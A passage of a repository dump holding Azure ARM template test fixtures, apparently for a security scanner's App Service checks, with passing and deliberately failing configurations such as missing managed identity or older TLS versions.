    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"null\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": null\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"enabled\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": \"true\",\n          \"minTlsVersion\": \"1.2\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-03-01\",\n      \"name\": \"enabled_newer\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": true,\n          \"minTlsVersion\": \"1.2\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceIdentity/appServiceIdentity-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceIdentity/appServiceIdentity-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceIdentity/appServiceIdentity-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\",\n    \"identityName\": \"[concat(variables('webAppPortalName'), '-identity')]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"UserAssigned\",\n        \"userAssignedIdentities\": {\n          \"[resourceID('Microsoft.ManagedIdentity/userAssignedIdentities/',variables('identityName'))]\": {}\n        }\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceIdentityProviderEnabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n\n        \"description\": \"Base name of the resource such as web app name and app service plan   \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": \"true\",\n          \"minTlsVersion\": \"1.2\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceIdentityProviderEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]  \"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": \"true\",\n          \"minTlsVersion\": \"1.2\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceInstanceMinimum/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"1.1\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": 1,\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceInstanceMinimum/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n  